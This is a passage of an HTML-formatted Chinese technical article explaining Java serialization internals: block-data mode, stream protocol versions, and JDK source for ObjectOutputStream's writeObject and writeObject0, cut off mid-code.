4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">setBlockDataMode</code><span md-inline="plain" style="box-sizing: border-box;">关闭</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式；</span></span></span></span></p><p><br/></p><p cid="n28" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式：</span></p><blockquote cid="n29" mdtype="blockquote" style="box-sizing: border-box;margin-top: 20px;margin-bottom: 20px;font-size: 0.9em;overflow: auto;border-left-color: rgb(239, 112, 96);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;background-color: rgb(255, 249, 249);"><p><span md-inline="plain" style="box-sizing: border-box;">在JDK 1.2中，有必要修改和JDK 1.1不兼容的字节流格式；为了处理这种情况，向前兼容性是必须的，一个兼容标记将会写入到字节流中，这个兼容标记是类似</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PROTOCOL_VERSION</code><span md-inline="plain" style="box-sizing: border-box;">的格式，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">useProtocolVersion</code><span md-inline="plain" style="box-sizing: border-box;">方法会接收一个参数以表示写入的可序列化字节流的协议版本。</span></span></span></span></p><p><br/></p><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">使用的字节流协议版本如下：</span></p><ul class="list-paddingleft-2" cid="n32" mdtype="list" data-mark="-" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;"><li style="box-sizing: border-box;"><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectStreamConstants.PROTOCOL_VERSION_1</code><span md-inline="plain" style="box-sizing: border-box;">：表示最初序列化字节流的格式；</span></span></p></li><li style="box-sizing: border-box;"><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectStreamConstants.PROTOCOL_VERSION_2</code><span md-inline="plain" style="box-sizing: border-box;">：表示新的外部字节流格式，基础类型的数据将会使用数据块【</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data-Block</code><span md-inline="plain" style="box-sizing: border-box;">】的模式写入字节流，它以标记</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ENDBLOCKDATA</code><span md-inline="plain" style="box-sizing: border-box;">结束</span></span></span></span></p></li></ul><p cid="n37" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">数据块的边界是标准化的，使用数据块模式写入字节流的基础类型的数据通常</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">不能超过1024</span></strong><span md-inline="plain" style="box-sizing: border-box;">字节长度，这种变化的好处是固定以及规范化序列化数据格式，有利于其向前和向后的兼容性。</span></span></p><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">JDK1.2</code><span md-inline="plain" style="box-sizing: border-box;">默认使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PROTOCOL_VERSION_2</code><span md-inline="softbreak" style="box-sizing: border-box;"></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">JDK1.1</code><span md-inline="plain" style="box-sizing: border-box;">默认使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PROTOCOL_VERSION_1</code><span md-inline="softbreak" style="box-sizing: border-box;"></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">JDK 1.1.7</code><span md-inline="plain" style="box-sizing: border-box;">版本以及以上的版本可读取以上的两种版本，而</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">JDK 1.1.7</code><span md-inline="plain" style="box-sizing: border-box;">之前的版本只能读取</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PROTOCOL_VERSION_1</code><span md-inline="plain" style="box-sizing: border-box;">版本；</span></span></span></span></span></span></span></span></p><p><br/></p></blockquote><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">详见《Object Serialization Stream Protocol》原版：</span></p><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"></span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html" target="_blank">https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html</a></span></p><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">或者也可以看我翻译总结的《Object Serialization Stream Protocol/对象序列化流协议》：</span></p><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"></span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.cnpanda.net/talksafe/892.html" target="_blank">https://www.cnpanda.net/talksafe/892.html</a></span></p><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">回到正题，在初始化完几个成员属性之后，调用了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeStreamHeader()</code><span md-inline="plain" style="box-sizing: border-box;">方法，跟进可以发，这个方法就是用于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">在实例初始化时向</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;">变量中写入魔术头以及版本号，如下图：</span></span></span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1103030303030303" data-s="300,640" style="" data-type="png" data-w="1650" src="https://wechat2rss.xlab.app/img-proxy/?k=90770fcf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cUXyPFllsQPNIia1PT35nkm7GBAtHaIichOLmSOS6Zk37aGtjkUbngRbQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">当</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">public</code><span md-inline="plain" style="box-sizing: border-box;">构造方法走完后，才会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject()</code><span md-inline="plain" style="box-sizing: border-box;">开始写对象数据，该方法的主要代码如下：</span></span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeObject</span><span class="code-snippet__params">(Object obj)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (enableOverride) {</span></code><code><span class="code-snippet_outer">            writeObjectOverride(obj);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            writeObject0(obj, <span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException ex) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (depth == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                writeFatalException(ex);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> ex;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><span md-inline="plain" style="box-sizing: border-box;">通常来说</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableOverride</code><span md-inline="plain" style="box-sizing: border-box;">的默认值为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">false</code></span></span><span md-inline="plain" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;">（因为在</span><span md-inline="code" spellcheck="false" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code></span><span md-inline="plain" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">public</code><span md-inline="plain" style="box-sizing: border-box;">构造方法中已经初始化了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableOverride = false;</code><span md-inline="plain" style="box-sizing: border-box;">）</span></span></span></p><p><span md-inline="code" spellcheck="false" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3558215451577802" data-s="300,640" style="" data-type="png" data-w="1838" src="https://wechat2rss.xlab.app/img-proxy/?k=06d71fff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cmFIwnicexur2zEv3S3xpTNRibN52nSnMMTH0sOhQKP7GfZB097Ucu9bw%2F640%3Fwx_fmt%3Dpng"/></p><p><span md-inline="plain" style="box-sizing: border-box;">然后才是进入了关键方法</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject0</code><span md-inline="plain" style="box-sizing: border-box;">进一步序列化，该方法如下（略长）：</span></span><span md-inline="code" spellcheck="false" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span><br/></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"> <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * Underlying writeObject/writeUnshared implementation.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">void</span> writeObject0(<span class="code-snippet__built_in">Object</span> obj, <span class="code-snippet__built_in">boolean</span> unshared)</span></code><code><span class="code-snippet_outer">        throws IOException</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">boolean</span> oldMode = bout.setBlockDataMode(<span class="code-snippet__literal">false</span>);</span></code><code><span class="code-snippet_outer">        depth++;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// handle previously written and non-replaceable objects</span></span></code><code><span class="code-snippet_outer">            int h;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> ((obj = subs.lookup(obj)) == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                writeNull();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (!unshared &amp;&amp; (h = handles.lookup(obj)) != <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">                writeHandle(h);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (obj <span class="code-snippet__keyword">instanceof</span> Class) {</span></code><code><span class="code-snippet_outer">                writeClass((Class) obj, unshared);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (obj <span class="code-snippet__keyword">instanceof</span> ObjectStreamClass) {</span></code><code><span class="code-snippet_outer">                writeClassDesc((ObjectStreamClass) obj, unshared);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// check for replacement object</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">Object</span> orig = obj;</span></code><code><span class="code-snippet_outer">            Class&lt;?&gt; cl = obj.getClass();</span></code><code><span class="code-snippet_outer">            ObjectStreamClass desc;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (;;) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// REMIND: skip this check for strings/arrays?</span></span></code><code><span class="code-snippet_outer">                Class&lt;?&gt; repCl;</span></code><code><span class="code-snippet_outer">                desc = ObjectStreamClass.lookup(cl, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (!desc.hasWriteReplaceMethod() ||</span></code><code><span class="code-snippet_outer">                    (obj = desc.invokeWriteReplace(obj)) == <span class="code-snippet__literal">null</span> ||</span></code><code><span class="code-snippet_outer">                    (repCl = obj.getClass()) == cl)</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                cl = repCl;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (enableReplace) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">Object</span> rep = replaceObject(obj);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (rep != obj &amp;&amp; rep != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    cl = rep.getClass();</span></code><code><span class="code-snippet_outer">                    desc = ObjectStreamClass.lookup(cl, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                obj = rep;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// if object replaced, run through original checks a second time</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (obj != orig) {</span></code><code><span class="code-snippet_outer">                subs.assign(orig, obj);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (obj == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    writeNull();</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (!unshared &amp;&amp; (h = handles.lookup(obj)) != <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">                    writeHandle(h);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (obj <span class="code-snippet__keyword">instanceof</span> Class) {</span></code><code><span class="code-snippet_outer">                    writeClass((Class) obj, unshared);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (obj <span class="code-snippet__keyword">instanceof</span> ObjectStreamClass) {</span></code><code><span class="code-snippet_outer">                    